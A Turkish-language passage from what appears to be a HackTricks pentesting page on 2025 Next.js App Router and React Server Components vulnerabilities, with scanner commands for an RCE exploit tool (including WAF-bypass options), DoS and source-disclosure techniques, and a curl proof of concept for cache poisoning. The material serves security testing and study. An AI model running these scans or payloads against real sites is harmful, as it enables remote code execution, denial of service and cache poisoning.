• Varsayılan mod deterministik bir RCE payload’u yürütür (matematik işlemi X-Action-Redirect ile yansıtılarak) ve kod yürütmeyi kanıtlar.
• --safe-check modu kasıtlı olarak Flight mesajını bozar; böylece yamalanmış sunucular 200/400 dönerken savunmasız hedefler gövdede E{"digest" alt dizesini içeren HTTP/500 yanıtları gönderir. Bu (500 + digest) çifti şu anda savunucular tarafından yayımlanan en güvenilir uzak oracle’dır.
• Dahili --waf-bypass, --vercel-waf-bypass ve --windows switch’leri payload düzenini ayarlar, başına junk ekler veya OS komutlarını değiştirir, böylece gerçek İnternet varlıklarını sondalayabilirsiniz.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Diğer yakın tarihli App Router sorunları (2025 sonları)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – bozulmuş Flight payload’ları RSC resolver’ını sonsuz döngüye sokabilir (pre-auth DoS) veya diğer işlemler için derlenmiş Server Function kodunun serileştirilmesine zorlayabilir. App Router sürümleri ≥13.3 yaması uygulanana kadar etkilenir; 15.0.x–16.0.x ise upstream advisory’deki belirli patch satırlarını gerektirir. Normal Server Action yolunu tekrar kullanın ancak istismar içeren $ referanslarıyla text/x-component gövdesi stream edin. Bir CDN arkasında askıda kalan bağlantı cache zaman aşımıyla açık tutulur, bu da DoS’u ucuz hale getirir.

• Triage tip: Yaması uygulanmamış hedefler, bozulmuş Flight payload’larından sonra E{"digest" içeren 500 döner; yamalanmış sürümler ise 400/200 döner. Zaten Flight parçaları stream eden herhangi bir endpoint’i test edin ( Next-Action header’larına veya text/x-component yanıtlarına bakın) ve değiştirilmiş bir payload ile yeniden oynatın.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – eksik Vary, Accept: text/x-component yanıtının cache’lenmesine ve HTML bekleyen tarayıcılara sunulmasına izin verdi. Tek bir priming request sayfayı ham RSC payload’larıyla değiştirebilir. PoC flow:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.

References

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.